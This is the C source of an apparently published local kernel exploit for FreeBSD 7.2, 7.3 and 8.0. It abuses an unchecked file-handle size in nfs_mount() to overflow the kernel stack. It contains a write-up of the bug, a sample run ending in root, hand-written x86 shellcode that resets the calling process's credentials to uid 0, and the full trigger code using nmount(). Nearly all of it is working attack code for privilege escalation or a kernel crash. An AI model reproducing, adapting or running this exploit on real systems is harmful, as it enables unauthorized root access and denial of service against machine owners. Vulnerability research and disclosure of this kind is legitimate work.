1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155 | /*
* nfs_mount_ex.c -- Patroklos Argyroudis, argp at domain census-labs.com
*
* Local kernel exploit for FreeBSD 8.0, 7.3 and 7.2.
*
* FreeBSD 8.0-RELEASE: Local kernel crash/denial-of-service.
* FreeBSD 7.3/7.2-RELEASE: Local privilege escalation.
*
* Discovered and exploited by Patroklos (argp) Argyroudis.
*
* The vulnerability is in nfs_mount() which is reachable by the mount(2)
* and nmount(2) system calls. In order for them to be enabled for
* unprivileged users the sysctl(8) variable vfs.usermount must be set to a
* non-zero value.
*
* nfs_mount() employs an insufficient input validation method for copying
* data passed in the struct nfs_args from userspace to kernel.
* Specifically, the file handle to be mounted (nfs_args.fh) and its size
* (nfs_args.fhsize) are completely user-controllable. In file
* sys/nfsclient/nfs_vfsops.c from 8.0-RELEASE:
*
* 1094 if (!has_fh_opt) {
* 1095 error = copyin((caddr_t)args.fh, (caddr_t)nfh,
* 1096 args.fhsize);
* 1097 if (error) {
* 1098 goto out;
* 1099 }
*
* The above can cause a kernel stack overflow which leads to privilege
* escalation in 7.3-RELEASE and 7.2-RELEASE, and a kernel crash /
* denial-of-service in 8.0-RELEASE (due to SSP/ProPolice). 7.1-RELEASE
* and earlier do not seem to be vulnerable since the bug was introduced in
* 7.2-RELEASE.
*
* Sample run:
*
* [argp@julius ~]$ uname -rsi
* FreeBSD 7.3-RELEASE GENERIC
* [argp@julius ~]$ sysctl vfs.usermount
* vfs.usermount: 1
* [argp@julius ~]$ id
* uid=1001(argp) gid=1001(argp) groups=1001(argp)
* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
* [argp@julius ~]$ ./nfs_mount_ex
* [*] calling nmount()
* [!] nmount error: -1030740736
* nmount: Unknown error: -1030740736
* [argp@julius ~]$ id
* uid=0(root) gid=0(wheel) egid=1001(argp) groups=1001(argp)
*
* $Id: nfs_mount_ex.c,v c1302ea1317d 2010/05/23 17:30:17 argp $
*/
#include <sys/param.h>
#include <sys/mount.h>
#include <sys/uio.h>
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sysexits.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <errno.h>
#include <nfsclient/nfsargs.h>
#define BUFSIZE 272
#define FSNAME "nfs"
#define DIRPATH "/tmp/nfs"
unsigned char kernelcode[] =
"\x64\xa1\x00\x00\x00\x00" /* movl %fs:0, %eax */
"\x8b\x40\x04" /* movl 0x4(%eax), %eax */
"\x8b\x40\x30" /* movl 0x30(%eax),%eax */
"\x31\xc9" /* xorl %ecx, %ecx */
"\x89\x48\x04" /* movl %ecx, 0x4(%eax) */
"\x89\x48\x08" /* movl %ecx, 0x8(%eax) */
"\x81\xc4\xb0\x01\x00\x00" /* addl $0x1b0, %esp */
"\x5b" /* popl %ebx */
"\x5e" /* popl %esi */
"\x5f" /* popl %edi */
"\x5d" /* popl %ebp */
"\xc3"; /* ret */
int
main()
{
char *ptr;
long *lptr;
struct nfs_args na;
struct iovec iov[6];
na.version = 3;
na.fh = calloc(BUFSIZE, sizeof(char));
if(na.fh == NULL)
{
perror("calloc");
exit(1);
}
memset(na.fh, 0x41, BUFSIZE);
na.fhsize = BUFSIZE;
ptr = (char *)na.fh;
lptr = (long *)(na.fh + BUFSIZE - 8);
*lptr++ = 0x12345678; /* saved %ebp */
*lptr++ = (u_long)ptr; /* saved %eip */
memcpy(ptr, kernelcode, (sizeof(kernelcode) - 1));
mkdir(DIRPATH, 0700);
iov[0].iov_base = "fstype";
iov[0].iov_len = strlen(iov[0].iov_base) + 1;
iov[1].iov_base = FSNAME;
iov[1].iov_len = strlen(iov[1].iov_base) + 1;
iov[2].iov_base = "fspath";
iov[2].iov_len = strlen(iov[2].iov_base) + 1;
iov[3].iov_base = DIRPATH;
iov[3].iov_len = strlen(iov[3].iov_base) + 1;
iov[4].iov_base = "nfs_args";
iov[4].iov_len = strlen(iov[4].iov_base) + 1;
iov[5].iov_base = &na;
iov[5].iov_len = sizeof(na);
printf("[*] calling nmount()\n");
if(nmount(iov, 6, 0) < 0)
{
fprintf(stderr, "[!] nmount error: %d\n", errno);
perror("nmount");
rmdir(DIRPATH);
free(na.fh);
exit(1);
}
printf("[*] unmounting and deleting %s\n", DIRPATH);
unmount(DIRPATH, 0);
rmdir(DIRPATH);
free(na.fh);
return 0;
}
/* EOF */
|